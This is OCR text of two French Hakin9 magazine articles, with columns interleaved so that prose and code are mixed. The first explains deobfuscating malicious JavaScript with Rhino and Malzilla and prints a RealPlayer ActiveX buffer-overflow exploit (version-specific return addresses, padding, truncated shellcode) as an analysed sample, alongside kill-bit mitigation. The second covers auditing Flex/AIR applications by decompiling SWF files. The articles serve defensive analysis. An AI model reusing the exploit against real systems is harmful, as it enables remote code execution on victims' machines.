Connaissances de base du malveillante (virus, exploitation de faille critique,
langage Javascript. eval("\146\165\156\143\164\151\157\156\
etc). 40...\50\51\73")
Connaissances de base du
fonctionnement des composants
Pour aider à cette tâche, des outils ont </script>
ActiveX. été développés pour permettre aux analystes
28 HAKIN9 1/2009
JAVASCRIPT OBFUSCATION
Instanciation des
composants ActiveX
Pour commencer, nous allons fournir des
détails sur la méthode afin de charger un
composant ActiveX dans le navigateur.
Vous devez savoir que cette technologie
ne fonctionne normalement que sur les
plates-formes Microsofts et seulement
grâce à l'utilisation d'Internet Explorer ou
du navigateur Google Chrome (il manque
encore de stabilité dans ce domaine
précis).
Ci-dessous, la définition provenant de
Wikipedia :
Component Object Model, aussi
connu sous le nom de ActiveX est Figure 1. Écran principal de Malzilla
un composant logiciel (comme les
DLL) créé par Microsoft. Il est utilisé
en programmation pour permettre le
dialogue entre programmes.
Il y a deux façons distinctes de
charger ce genre de composant,
sachant que l'un est d'utiliser le CLASSID
et l'autre le ProgID . Le langage HTML
fournit la balise OBJECT pour charger
un composant ActiveX à partir du CLSID
comme dans l'exemple ci-dessous :
<OBJECT ID="wwwcuteqqcn"
Classid="clsid:{A7F05EE4- Figure 2. Onglet Decoder de Malzilla
0426-454F-8013-C41E3596E9E9}">
</OBJECT>
dim myexcel
Set myexcel=CreateObject("Excel.
Sheet") Figure 3. Débuguer un script avec Malzilla
1/2009 HAKIN9 29
DOSSIER
Notez que les attaquants utilisent des Ainsi, voici quelques exemples qui peuvent Flags correspondante à notre ActiveX. La
méthodes permettant de masquer les être trouvés sur Internet (voir Listing 1). La clé HKLM est la suivante :
chaînes de caractères afin de compliquer solution est de mettre à jour le software
l'étude des analystes, mais aussi afin de vulnérable ou de le supprimer. On peut HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
contourner les détections éventuelles. Les aussi restreindre l'utilisation des ActiveX Internet Explorer\ActiveX
méthodes sont diverses : afin d'éviter toute compromission. Compatibility<CharStyle:FOREIGN>
Cette dernière méthode est nommé CLSID of the ActiveX control
• supprimer les sauts de lignes, “position kill bit”.
• renommer les variables/fonctions, Afin d'appliquer cette option préventive, CLSID of the ActiveX Control est
• ajouter du code qui n'est pas utilisé, il faut utiliser l'éditeur de la base de registre l'identifiant de classe du contrôle ActiveX.
• découper les chaînes. pour modifier la valeur du Compatibility Une fois cette clé identifiée, changez
la valeur du Compatibility Flags
Listing 4. L'exploit Realplayer à 0x00000400 (vous aurez besoin de la
créer si elle n'existe pas déja).
function RealExploit() {
var user=navigator.userAgent.toLowerCase();
if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)return;
Outils pour la
if(user.indexOf("nt 5.")==-1)return; désobfuscation
VulObject="IERPCtl.IERPCtl.1"; Nous pourrions jouer avec des scripts
try {
Perl ou modifier le code Javascript pour y
Real=new ActiveXObject(VulObject)
}
ajouter des appels à la fonction Alert()
catch(error) { afin de les débugger mais ces méthodes
return prennent beaucoup de temps.
}
La solution la plus rapide est d'utiliser
RealVersion=Real.PlayerProperty("PRODUCTVERSION");
Padding=""; des outils dédiés à cette tâche. Nous
JmpOver=unescape("%75%06%74%04"); allons présenter dans cette partie
l'utilisation de Rhino et Malzilla.
for(i=0; i<32*148; i++) Padding+="S";
if(RealVersion.indexOf("6.0.14.")==-1) {
Rhino est disponible sur Internet [2],
if(navigator.userLanguage.toLowerCase()=="zh-cn")ret=unescape("%7f%a5%60"); c'est une implémentation Open Source
else if(navigator.userLanguage.toLowerCase()=="en-us")ret=unescape(" du moteur Javascript écrit entièrement
%4f%71%a4%60");
en Java. La dernière version de Rhino
else return
} disponible actuellement est la version 1.7
else if(RealVersion=="6.0.14.544")ret=unescape("%63%11%08%60"); Rhino fournit un shell interactif afin de
else if(RealVersion=="6.0.14.550")ret=unescape("%63%11%04%60"); débuguer les scripts.
else if(RealVersion=="6.0.14.552")ret=unescape("%79%31%01%60");
Note 1 : Rhino interprète seulement
else if(RealVersion=="6.0.14.543")ret=unescape("%79%31%09%60");
else if(RealVersion=="6.0.14.536")ret=unescape("%51%11%70%63"); le Javascript. Or, si vous avez besoin
else return; de vérifier du VBScript, vous ne pourrez
pas automatiser cette tâche. Nous
if(RealVersion.indexOf("6.0.10.")!=-1) {
for(i=0; i<4; i++) Padding=Padding+JmpOver;
présenterons quelques conseils afin de
Padding=Padding+ret faciliter ce processus dans une prochaine
} partie.
else if(RealVersion.indexOf("6.0.11.")!=-1) {
Note 2 : Vous pouvez toujours
for(i=0; i<6; i++) Padding=Padding+JmpOver;
Padding=Padding+ret utiliser quelques add-on pour votre
} navigateur afin de débuguer “pas à pas”
else if(RealVersion.indexOf("6.0.12.")!=-1) { le script (comme Firebug or Venkman
for(i=0; i<9; i++)Padding=Padding+JmpOver;
pour Mozilla Firefox). Cette méthode
Padding=Padding+ret
} est efficace sur des scripts simples,
else if(RealVersion.indexOf("6.0.14.")!=-1) { mais malheureusement beaucoup
for(i=0; i<10; i++) Padding=Padding+JmpOver;
plus astreignante et complexe sur
Padding=Padding+ret
}
des scripts malicieux. La raison est
AdjESP="LLLL\\XXXXXLD"; simple : ils utilisent plusieurs couches
Shell="TYIIIIIIIIIIIIIIII7...5P"; d'obfuscation forte, ainsi le script est écrit
PayLoad=Padding+AdjESP+Shell;
une nouvelle fois entre chaque boucle de
while(PayLoad.length<0x8000)PayLoad+="YuanGe";
Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav",PayLoad,"",0,0) désobfuscation.
} Vous devez tout d'abord nettoyer le
RealExploit(); fichier que vous voulez fournir à Rhino
en supprimant les nombreuses balises
30 HAKIN9 1/2009
DOSSIER
HTML. Généralement, les scripts utilisent suivante a besoin d'être ajouté au début Malzilla est disponible sur Internet [3].
la fonction document.write() pour écrire du script : document={write:print}; La dernière version disponible
le code dans le navigateur. Comme Rhino Elle rédirige tous les appels actuellement est la 0.9.2.4 (Listing 3).
n'implémente pas cet objet, la façon la à document.write() vers la fonction Dans le Listing 3, comme vous pouvez
plus rapide est de surcharger la fonction print(). Voir l'exemple Listing 2. le voir, les balises ont l'air étrange car
par la fonction print() de Rhino qui Nous pouvons considérer dans elles utilisent en alternance les caractères
a pour effet d'écrire sur la sortie standard. cette exemple que le résultat final est majuscules et minuscules, le corps du
Quelques fois, vous aurez juste besoin directement affiché par Rhino. Il peut aussi script aussi contient un appel explicite à la
de surcharger la fonction eval() par être utilisé avec l'option -f permettant de fonction eval() avec pour argument une
print(), cela est notamment le cas pour lui passer un fichier directement en ligne chaîne de caractères en base octale.
le paquet de Dean Edward que nous de commande. Le résultat est par défaut Il est aussi très courant de trouver
verrons dans une autre partie. La ligne dirigé vers la sortie standard. sur Internet des combinaisons de
eval(unescape(...)). A présent,
nous allons aborder la méthode afin
de décoder cette chaîne et identifier la
menace.
En premier lieu, Malzilla peut être
utilisé comme un navigateur pour
télécharger un fichier Internet. Vous
pouvez choisir le User-Agent et positionner
le Referer (particulièrement utile depuis
que certains sites malicieux testent ces
valeurs). La plupart du temps, ils vérifient
que le navigateur est bien IE. Si vous avez
déja le script vous pouvez le copier/coller
dans la fenêtre prévue à cet effet comme
indiqué dans la Figure 1.
Maintenant que le code a été chargé
dans Malzilla, nous allons voir comment
utiliser le décodeur pour le désobfusquer.
Cliquez sur Send script to Decoder
pour copier/coller automatiquement le
code vers l'onglet Decoder. Le code HTML
Figure 4. Indentation de code dans Malzilla et les tags seront supprimés comme le
montre la Figure 2. De l'onglet Decoder,
vous disposez uniquement du code.
Note : l'onglet Misc Decoders est
aussi disponible, il peut être utile dans
certains cas de manipulation de chaînes
de caractères.
Comme il n'y a pas de fonction
permettant de convertir directement la
base octale, il va falloir utiliser la même
méthode que Rhino (comprendre changer
la fonction eval() en une fonction
permettant l'affichage). Nous pouvons
utiliser la commande Replace eval()
with print ou surcharger par un appel
à document.write et cliquer sur le bouton
Run script. Plus simple encore, cochez
Override eval() et cliquez directement
sur le bouton Run script . La chaîne évaluée
sera affichée dans la partie basse de
Malzilla comme le montre la Figure 3.
Maintenant, nous pouvons lire du code
Figure 5. Concaténation automatique dans Misc Decoders de Malzilla compréhensible. Nous pouvons alors le
32 HAKIN9 1/2009
JAVASCRIPT OBFUSCATION
VulnObject="IER"+"PCtl.I"+"ERP"+
"Ctl.1";
David Maciejak
David Maciejak travaille pour la société Fortinet en tant
que Security Researcher. Son travail consiste à suivre
l'évolution des vulnérabilités et aussi de fournir une
protection adéquate selon les profils des utilisateurs.
1/2009 HAKIN9 33
DOSSIER
RIA
ADITYA K SOOD
I
l en résulte que la couche applicative est Integrated Working Model FLEX
permissive aux attaques. Certes, la complexité [RIA] : Vue d'ensemble
des applications s'est accrue avec la FLEX est adapté au développement
technologie mais il faut toujours veiller à leur d'applications AIR. FLEX est un framework
robustesse afin d'éviter les attaques. La phase de de conception d'applications prévues
développement est donc primordiale. L'Application pour flash player [SWF] et Adobe Run Time
Internet Riche (RIA) est un framework multi- environment [AIR]. Tout au long de cet article,
plateforme qui permet d'exécuter des applications MX est la convention utilisée pour désigner la
côté serveur (ex : applications de bureau). conception de l'application. Le namespace
Prenons l'exemple d'AIR. Les applications AIR est indispensable pour indiquer le standard
sont écrites sous FLEX Builder, elles sont lancées selon lequel les applications fonctionnent.
grâce à un seul paquetage. En règle générale les L'URI est indiquée avec XMLNS: MX . Une étape
applications AIR sont considérées comme des essentielle est la génération simultanée du
applications basées sur Flex. La seule différence fichier XML avec l'ensemble des instructions
réside dans leur déploiement. Les applications de notre fichier méthode. Ci-dessous,
AIR sont exécutées en tant qu'applications une présentation du modèle intégré. Les
de bureau autonomes, dans l'environnement composants standards et les applications
CET ARTICLE d'Adobe. Il y a un grand nombre de problèmes AIR sont conçues sous FLEX selon ce modèle
EXPLIQUE... qui se posent lorsqu'on souhaite concevoir une (Figure 1).
Les phases de test et d'audit des application FLEX à la fois sécurisée et efficace. Ce modèle sert de point de départ à la
applications Internet Riches.
Notre étude mettra en lumière les problèmes création d'applications RIA. Lorsque vous
Les méthodes d'audit avec
description des outils utilisés.
d'insécurité et leurs impacts. débutez la création d'une nouvelle fenêtre, la
balise <MX: Windowed Application> est
Les nouvelles techniques
qui permettent de compiler/ Vue d'ensemble utilisée. Nombre d'objets sont appelés par
décompiler les fichiers SWF. Les applications peuvent être lancées sur l'intermédiaire de cette balise. Pour implémenter
CE QU'IL FAUT plusieurs plateformes : Windows, Linux et Mac OS. du code ActionScript, la balise <MX: Script>
SAVOIR... L'exécution des applications nécessite l'installation est utilisée. Dans ce script, les éléments
Une compréhension basique de l'environnement approprié. Le développement proviennent de structures CDATA . À l'opposé les
des applications Internet Riches d'applications orientées bureau se base sur scripts de type CSS sont appelés par la balise
est utile.
les technologies Web. La tendance est au <MS: Style>.
Une connaissance des outils
d'audit des applications Internet
changement et les évolutions dans ce domaine Ci-dessous, un code type que vous pouvez
Riches est un avantage. sont versatiles. obtenir (Affichage du code Figure 2) :
34 HAKIN9 1/2009
TEST DES APPLICATIONS RIA
<?xml version="1.0" encoding="utf-8"?> pour l'audit des applications FLEX (cf. et le navigateur. Un processus est créé
<mx:WindowedApplication xmlns:mx=http:// Figure 3). dans la mémoire à chaque exécution. En
www.adobe.com/2008/mxml Nous allons commencer par examiner le règle générale, si le flash player est utilisé,
layout="absolute" processus d'initialisation lors du chargement alors flashplayer.exe est chargé en mémoire
title="AIR Security Checks"> d'une application SWF avec le flash player pour l'exécution des applications FLEX.
<mx:Label text="AIR Security Checks"
horizontalCenter="0"
Listing 1. Code SWF décompilé
verticalCenter="0"/>
</mx:WindowedApplication> movieClip 37 FPushButtonSymbol {
#initclip
function FPushButtonClass() {
L'application est conçue de la manière this.init();
suivante : L'affichage se fait grâce à un }
simple label texte. Pour des fonctionnalités FPushButtonClass.prototype = new FUIComponentClass();
Object.registerClass('FPushButtonSymbol', FPushButtonClass);
avancées et la conception de composants, FPushButtonClass.prototype.init = function () {
on préférera utiliser ActionScript 3.0. super.setSize(this._width, this._height);
Cette vue d'ensemble présente this.boundingBox_mc.unloadMovie();
this.attachMovie('fpb_states', 'fpbState_mc', 1);
la manière dont les applications sont
this.attachMovie('FLabelSymbol', 'fLabel_mc', 2);
générées sous FLEX. Nous allons discuter this.attachMovie('fpb_hitArea', 'fpb_hitArea_mc', 3);
des erreurs de codage et l'impact que super.init();
peuvent avoir des failles de sécurité sur this.btnState = false;
this.setClickHandler(this.clickHandler);
votre système. this._xscale = 100;
this._yscale = 100;
Vision Analytique this.setSize(this.width, this.height);
if (this.label != undefined) {
Un code bien conçu permet d'avoir des
this.setLabel(this.label);
applications FLEX optimisées. Chaque }
instruction de la structure du code this.ROLE_SYSTEM_PUSHBUTTON = 43;
représente un standard type. Donner this.STATE_SYSTEM_PRESSED = 8;
this.EVENT_OBJECT_STATECHANGE = 32778;
une valeur au paramètre temps permet
this.EVENT_OBJECT_NAMECHANGE = 32780;
d'améliorer l'analyse d'une partie du code this._accImpl.master = this;
en effectuant une mesure basée sur le this._accImpl.stub = false;
temps d'exécution du processeur. Cela this._accImpl.get_accRole = this.get_accRole;
this._accImpl.get_accName = this.get_accName;
est indispensable pour des instructions this._accImpl.get_accState = this.get_accState;
fonctionnelles. En règle générale le temps this._accImpl.get_accDefaultAction = this.get_accDefaultAction;
écoulé est intéressant pour l'optimisation. this._accImpl.accDoDefaultAction = this.accDoDefaultAction;
};
La taille de l'application est elle aussi un
FPushButtonClass.prototype.setHitArea = function (w, h) {
élément important, surtout s'il s'agit d'une var hit = this.fpb_hitArea_mc;
application importante. Il sera difficile this.hitArea = hit;
d'effectuer des essais sur l'ensemble hit._visible = false;
hit._width = w;
de l'application. L'optimisation côté client
hit._height = arguments.length > 1 ? h : hit._height;
dépend de plusieurs facteurs. Il y a };
notamment le codage et la procédure FPushButtonClass.prototype.setSize = function (w, h) {
d'exécution. Pendant l'exécution, il y a un w = w < 6 ? 6 : w;
if (arguments.length > 1) {
nombre important de ressources qui sont if (h < 6) {
prises en charge, par exemple : la RAM, les h = 6;
cycles du CPU, etc. Pendant la phase de }
}
test de l'application FLEX, l'utilisation des
super.setSize(w, h);
ressources est toujours surveillée de près. this.setLabel(this.getLabel());
Cela permet de vérifier les ressources this.arrangeLabel();
nécessaires à un composant lorsque this.setHitArea(w, h);
this.boundingBox_mc._width = w;
l'application est exécutée en tant que
this.boundingBox_mc._height = h;
processus. L'optimisation d'une application this.drawFrame();
est donc indispensable pour utiliser les if (this.focused) {
super.myOnSetFocus();
ressources de la meilleur façon. Nous
}
passerons par notre modèle pour la phase this.initContentPos('fLabel_mc');
d'optimisation : On adoptera une approche };
descendante à la fois pour le test et aussi
1/2009 HAKIN9 35
DOSSIER
L'application est en cours d'exécution et rigoureuse leurs effets sur le système. Cette
Listing 2. Désassemblage d'un fichier consomme des ressources système. Une étape porte sur : l'utilisation de la RAM, les
SWF avec flasm bonne méthode pour effectuer un audit variations du CPU, etc. Avant de se focaliser
frame 0 d'optimisation consiste à varier la nature sur le code des applications FLEX, il est
constants 'component', '_parent', des algorithmes afin de tester de manière indispensable d'analyser le comportement
'arrow', 'arrow_mc',
'registerSkinElement', 'face',
'face_mc', 'shadow', 'shadow_mc', Listing 3. Dump des objets d'un fichier SWF
'darkshadow', 'darkshadow_mc',
'highlight', 'highlight_mc', [Action Objects]
'highlight3D', 'highlight3D_mc' Running Status: F:\Audit\flash_auditing>swfdump.exe -a nav.swf | more
push 'component', '_parent' ( 4 bytes) action: Push Lookup:0 ("component") Lookup:1 ("_parent")
getVariable ( 0 bytes) action: GetVariable
push '_parent' ( 2 bytes) action: Push Lookup:1 ("_parent")
getMember ( 0 bytes) action: GetMember
varEquals ( 0 bytes) action: DefineLocal
push 'arrow', 'arrow_mc' ( 4 bytes) action: Push Lookup:2 ("face") Lookup:3 ("frame5")
getVariable
push 2, 'component' [Text Objects]
getVariable Running Status: F:\Audit\flash_auditing>swfdump.exe -t nav.swf | more
push 'registerSkinElement' 4 DEFINESPRITE defines id 0096
callMethod 35 DOACTION
pop 16 PLACEOBJECT2 places id 0089 at depth 0001 name "face_mc"
push 'face', 'face_mc' 17 PLACEOBJECT2 places id 0091 at depth 0003 name "arrow_mc"
getVariable 21 PLACEOBJECT2 places id 0092 at depth 0005 name "highlight_mc"
push 2, 'component' 18 PLACEOBJECT2 places id 0093 at depth 0007 name "shadow_mc"
getVariable 20 PLACEOBJECT2 places id 0094 at depth 0009 name "darkshadow_mc"
push 'registerSkinElement' 21 PLACEOBJECT2 places id 0095 at depth 0011 name "highlight3D_mc"
callMethod 0 SHOWFRAME 1 (00:00:00,000)
pop 0 END
push 'shadow', 'shadow_mc'
getVariable [Placement Objects]
push 2, 'component' Running Status: F:\Audit\flash_auditing>swfdump.exe -p nav.swf | more
getVariable 11 FRAMELABEL "Symbol_10" has 1 extra bytes (ANCHOR)
push 'registerSkinElement' 6 PLACEOBJECT2 places id 0001 at depth 0001
callMethod | Matrix
pop | 1.000 0.000 0.00
push 'darkshadow', 'darkshadow_mc' | 0.000 1.000 0.00
getVariable 0 SHOWFRAME 1 (00:00:00,000) (label "Symbol_10")
push 2, 'component' 0 END
getVariable
push 'registerSkinElement' Listing 4. Génération de code XML à partir de Fichiers SWF
callMethod
pop Running Status: F:\Audit\flash_auditing>swfmill swf2xml nav.swf nav.xml
push 'highlight', 'highlight_mc' Output:
getVariable <actions>
push 2, 'component' <Dictionary>
getVariable <strings>
push 'registerSkinElement' <String value="component"/>
callMethod <String value="_parent"/>
pop <String value="face"/>
push 'highlight3D', 'highlight3D_mc' <String value="frame5"/>
getVariable <String value="registerSkinElement"/>
push 2, 'component' <String value="shadow"/>
getVariable <String value="frame3"/>
push 'registerSkinElement' <String value="darkshadow"/>
callMethod <String value="frame1"/>
pop </strings>
end // of frame 0 </Dictionary>
end // of defineMovieClip 104
<PushData>
defineMovieClip 105 // total frames: 1 <items>
end // of defineMovieClip 105 <StackDictionaryLookup index="0"/>
<StackDictionaryLookup index="1"/>
defineMovieClip 106 // total frames: 1 </items>
end // of defineMovieClip 106 </PushData>
<GetVariable/>
defineMovieClip 107 // total frames: 1 <PushData>
end // of defineMovieClip 107 </actions>
36 HAKIN9 1/2009
TEST DES APPLICATIONS RIA
des processus de base à l'exécution. Pour ce Vérification des Processus Liés des fonctions appelées et si elles sont
faire, nous allons exploiter les éléments qui [sous FLEX] ou non chargées. Ce facteur peut avoir
montrent l'efficacité (test d'optimisation) des Un processus se compose d'un un effet sur le processeur, certaines
applications. certain nombre de fonctions appelées applications essayent de charger
Pendant cette phase de vérification par d'autres modules. Ce processus constamment certaines fonctions à partir
des applications FLEX, il faudra prendre se fait grâce aux DLL (Dynamic Link des modules. Cela affecte la robustesse
en compte les concepts suivants : Libraries). Pour son exécution, flash player des applications FLEX, elles peuvent ne
Nous évaluons des applications FLASH. nécessite plusieurs modules chargés pas fonctionner correctement. Exemple
Dans notre méthodologie nous prenons dynamiquement. Les informations d'un module nécessaire au lancement de
en compte un nombre important de contenues dans un module sont flash player (cf. Figure 5). Le testeur peut
paramètres afin de vérifier la réponse nécessaires au testeur. En effet, elles voir quels processus liés n'ont pas été
de l'application. Ce mécanisme se fait lui permettent de déterminer la nature chargés.
uniquement pour des analyses en cours
d'exécution et avant de tester le code
Listing 5. Extraction d'objets
source. Cet aspect est essentiel pour
avoir une vue d'ensemble de la phase [-i] 181 Shapes: ID(s) 1, 3, 6, 9, 31, 33, 35, 39, 41, 43, 45, 47, 52, 54, 57, 64, 66,
70, 78, 84, 90, 102, 110, 118, 15, 127, 129, 131, 134, 137, 142, 145, 150, 155,
d'exécution et du temps écoulé.
171-173, 177, 180-183, 192, 194, 196-201, 203-209, 211-213, 223, 225-23
PHASE 1 : Test des processus Flash [-i] 149 MovieClips: ID(s) 2, 4, 5, 7, 8, 10-30, 32, 34, 36-38, 40, 42, 44, 46, 48-51,
Player en cours d'exécution 53, 55, 56, 58-63, 65, 67-69, 71
Tout d'abord vous allez voir l'analyse [-j] 19 JPEGs: ID(s) 179, 191, 426, 436, 441, 446, 520, 523, 527, 530, 557, 560, 563,
sémantique des thread d'un processus [sous 565, 567, 569, 580, 590, 605
FLEX]. Lors de la création d'un processus,
[-F] 11 Fonts: ID(s) 122, 153, 174, 184, 187, 215, 244, 421, 505, 517, 584
un nombre dédié de threads (processus
légers) sont initialisés selon l'application [-f] 1 Frame: ID(s) 0
exécutée. À chaque processus, il y a un
thread correspondant du système. L'analyse Listing 6. Exemple de Profilage avec FLEX Builder
des threads à l'intérieur d'un processus d'une <?xml version="1.0" encoding="utf-8"?>
application FLEX en cours d'exécution fournit <mx:WindowedApplication xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute">
des informations essentielles sur les objets <!-- logging/CheckDebugger.mxml -->
<mx:Script>
auxquels nous avons accès ou qui ont été
<![CDATA[
créés. Comprendre l'exécution type d'un import flash.system.Capabilities;
thread est un des éléments fondamentaux private function checkDebug():String {
dans l'évaluation des applications FLEX. if (Capabilities.isDebugger) { return "Debugger version of Flash Player!"; }
else { return "Flash Player!"; }
On obtient des informations sur les objets }
systèmes utilisés par le processus. La Figure private function checkPrint():String {
4 montre l'extraction des threads internes if (Capabilities.hasPrinting) { return "Printing Supported!"; }
else { return "Printing Not Supported!";}
à l'application flash pendant la phase
}
d'exécution sous flash player. private function checkTls():String {
On peut extraire diverses informations if (Capabilities.hasTLS) { return "TLS (Transport Layer Security) Supported!"; }
sur les threads en cours d'exécution. else { return "TLS (Transport Layer Security) Not Supported!";}}
private function checkLocalf():String {
Cela est indispensable dans le cas de
if (Capabilities.localFileReadDisable == true ) { return "Local File Read is
systèmes haut de gamme et qui exécutent Disabled!"; }
des applications lourdes. Cela peut aboutir else { return "Local File Read is Enabled!";}
à une utilisation abusive de la mémoire }]]></mx:Script>
ou des failles mémoire. En règle générale, <mx:Text id="info" text="Extracted Flash Player / System Information"/>
une faille mémoire provient d'une erreur <mx:TextArea id="debug_info" text="{checkDebug()}" width="300" height="20"/>
à l'exécution d'un thread. Par conséquent, <mx:TextArea id="tls_info" text="{checkTls()}" width="300" height="20"/>
<mx:TextArea id="local_file_info" text="{checkLocalf()}" width="300" height="20"/>
de nombreuses ressources système sont
<mx:TextArea id="print_info" text="{checkPrint()}" width="300" height="20"/>
consommées. Pour peu qu'un testeur ait <mx:TextArea id="os_info" text="{Capabilities.os}" width="300" height="20"/>
des connaissances approfondies sur <mx:TextArea id="man_info" text="{Capabilities.manufacturer}" width="300" height="20"/>
l'exécution des threads, il devient alors <mx:TextArea id="ver_info" text="{Capabilities.version}" width="300" height="20"/>
<mx:TextArea id="myText" text="" width="300" height="50"/>
facile pour lui d'examiner les threads
<mx:Button id="info_but" label="Server String Lookup"
hérités du système. Néanmoins, la click="{myText.text=Capabilities.serverString}"/>
première étape de l'évaluation se base sur </mx:WindowedApplication>
la collecte d'informations des threads.
1/2009 HAKIN9 37
DOSSIER
Test des Paramètres du Processus
Listing 7. Fichiers inter-domaines de différentes ressources Le processus est toujours associé à un
Yahoo: certain nombre de paramètres. Ces
<cross-domain-policy> paramètres sont testés avec différentes
<allow-access-from domain="*.yahoo.com" secure="false"/> valeurs afin d'analyser le comportement du
</cross-domain-policy>
<!-- http://twitter.com/crossdomain.xml -->
processus et les réponses associées au
<cross-domain-policy> système. Afin de tester le processus à son
<allow-access-from domain="*.twitter.com"/> état initial (phase d'exécution), il faut tester
<allow-access-from domain="*.discoveringradiance.com"/>
certains paramètres.
<allow-access-from domain="*.umusic.com"/>
<allow-access-from domain="*.hippo.com.au"/>
</cross-domain-policy> Analyse des Processus constituant
<!--http://api.flickr.com/crossdomain.xml --> un frein
<cross-domain-policy>
Pour l'évaluation de n'importe quelle
<allow-access-from domain="*"/>
</cross-domain-policy> application d'un système, le mécanisme
<!-- ws03.search.scd.yahoo.com compressed/chunked Fri Mar 28 00:02:26 PDT 2008 --> de priorisation des processus devrait être
<cross-domain-policy> appliqué. La priorisation des processus
<allow-access-from domain="*" secure="false"/>
</cross-domain-policy>
consiste à abaisser la priorité d'un
<!-- http://www.youtube.com/crossdomain.xml --> processus afin que les autres puissent
<cross-domain-policy> consommer les ressources du processeur.
<allow-access-from domain="*.youtube.com"/>
Ce mécanisme n'affecte en rien l'exécution
<allow-access-from domain="*.ytimg.com"/>
<allow-access-from domain="*.google.com"/> du processus mais il met de côté d'autres
</cross-domain-policy> processus utilisés pendant les cycles du
<!-- http://mypodcast.no/crossdomain.xml --> processeur. Si d'autres processus l'utilisent
<cross-domain-policy>
alors ceux en cours d'exécution, ils peuvent
<allow-access-from domain="www.kingsize.no"/>
</cross-domain-policy> exploiter l'ensemble des cycles. Ce concept
<!-- http://www.amazon.com/crossdomain.xml --> est essentiel pour l'analyse statistique
<cross-domain-policy> des malwares exécutés ou une utilisation
<allow-access-from domain="*.amazon.com"/>
<allow-access-from domain="amazon.com"/>
mémoire excessive de certains programmes
<allow-access-from domain="www.amazon.com"/> écrits sous FLEX. L'ensemble est exécuté en
<allow-access-from domain="pre-prod.amazon.com"/> tâche de fond. On peut tester également les
<allow-access-from domain="devo.amazon.com"/>
failles mémoire. Nous pouvons exploiter les
<allow-access-from domain="images.amazon.com"/>
<allow-access-from domain="anon.amazon.speedera.net"/> renseignements fournis par la priorisation
<allow-access-from domain="*.amazon.ca"/> d'une application FLEX grâce au graphique
<allow-access-from domain="*.amazon.de"/> récapitulant l'utilisation du processeur.
<allow-access-from domain="*.amazon.fr"/>
On peut également observer les ressources
<allow-access-from domain="*.amazon.jp"/>
<allow-access-from domain="*.amazon.co.jp"/> partagées par le processus avec d'autres
<allow-access-from domain="*.amazon.uk"/> applications. Les propriétés peuvent être
<allow-access-from domain="*.amazon.co.uk"/>
spécifiées comme suit : cf. Figure 6.
</cross-domain-policy>
Une autre étape dans une phase de
test consiste à refuser un processus lié
à d'autres : cf. Figure 7.
��������������������������
L'exécution d'un processus déclaré en
mémoire peut être stoppé. Les cycles du
�������������� �������������
��������������������� ������������ ����������
����������� ������������� �������������
�����������������
��������������������� �����������
������������
���������������������������
38 HAKIN9 1/2009
TEST DES APPLICATIONS RIA
processeur peuvent donc se focaliser sur sont attribuées pour veiller à leur bonne pour un thread donné. On applique cette
le test des autres processus. exécution. Afin de tester un thread durant technique lorsque les threads en arrière-
son exécution, on réalise un Thread plan intérfèrent avec ceux de l'avant-plan.
Booster le thread d'une application boosting. Cette étape est appliquée Le thread d'avant-plan est donc boosté.
Le fonctionnement des threads est aux threads d'avant-plan. Par exemple :
disséminé à travers des threads en – windows effectue le thread boosting du Erreurs de Pages (Page Faults) de
arrière-plan et à l'avant-plan. Pour chaque processus. Le terme boosting indique un l'Application
thread, des durées de temps (time slices) quota de temps (time slice) plus important Les erreurs de pages se produisent
lorsqu'un processus tente de charger une
adresse mémoire virtuelle qui n'a pas été
Listing 8. Process Lasso en action
chargée ou initialisée. Si un processus
System.security.loadPolicyFile produit plusieurs erreurs de pages alors les
Vérifier les Paramètres du Code
performances s'en trouveront dégradées.
L'extraction des URL : getURL
Load Events : load*(URL,..) Functions, loadVariables(url, level ), LoadMovie ( Il est indispensable d'analyser le nombre
url, target ), LoadMovieNum( url, level ), XML.load ( url ), LoadVars.load ( url ), d'erreurs de pages causés par les
Sound.loadSound( url , isStreaming ); NetStream.play( url ); processus des applications FLEX.
Field Setup : TextField.htmlText [ Metadata Checks ]
Vérification des Conversions : Flash à XML
Voici quelques techniques de base
try { __flash__toXML(); } catch(e) { Undefined; } à suivre. Pour tester avec plus d'efficacité
try{code}catch(e){location.reload()} l'exécution d'une application FLEX vous
Initialisation des Variables - Globales / Locales
pouvez paramétrer le niveau de performance
level
root du processus (sa vitesse) et sa connection.
global N.B : Les techniques décrites peuvent
System.Security.allowDomain être implémentées avec Process Lasso
Débogage du Code SWF [Trace Parameter]
<mx:Script><![CDATA[
de BITSUM technologies. C'est un bon outil
private function traceEvent(event:Event):void { pour effectuer des tests orientés concept
trace(event.currentTarget + ":" + event.type); (comme ci-dessus). Illustration de Process
}
Lasso : cf. Figure 8.
]]></mx:Script>
Vérifier les Gestionnaires d'erreurs : On retrouve ici, le test d'un périphérique
private function triggerSecurityError():void { avec l'analyse d'une application FLEX en
var request:URLRequest = new URLRequest("http://www.[yourDomain].com"); cours d'exécution sous flash player. On voit
loader.load(request);
également les différents threads rattachés.
}
private function securityErrorHandler(event:SecurityErrorEvent):void {} Il s'agit uniquement d'un test sommaire. La
Vérifier les Objets Partagés : asfunction plupart des fichiers sont au format SWF, on
Vérifier l'URL source avec <mx:Application> [Enable / Disable] va s'intéresser au mécanisme de conversion
Vérifier les inputs avec <mx:validator> class
L'analyse fournit des informations sur les objets utilisés.
afin de transformer le code compilé en code
pour l'analyse. Par la suite, nous analyserons
les irrégularités du code. Attaquons la
deuxième phase.
��������������
1/2009 HAKIN9 39
DOSSIER
et évaluation. La rétro-ingénierie d'applications Dans un premier temps, il faut décompiler Le fichier obtenu est au format FLR. Le
FLEX permet de collecter un ensemble les applications FLEX pour pouvoir analyser code est décompilé, comme au Listing 1.
d'informations indispensables pour l'analyse leur code source. Les applications flash
d'applications cibles. Dans le cadre de ce sont pour la plupart sous forme compilées. Analyse du pseudo code :
processus, le testeur doit donc retrouver Pour en comprendre la logique, il est donc désassemblage d'une application
les informations initiales à la création de nécessaire de décompiler l'application. FLEX
l'application et ses fonctionnalités. Cela inclut : Cette étape permet d'avoir des informations La désassemblage d'applications FLEX
une décompilation, l'analyse du pseudo- sur le code qui a été développé, il devient en pseudo-code (comprendre code
code à travers son désassemblement et une donc plus aisé pour le testeur d'analyser assembleur) est un moyen efficace pour
analyse statique du code. l'application. Le but est d'avoir une vision effectuer des tests. L'analyse du pseudo-
d'ensemble du programme. Les informations code se base sur ce modèle. Cette
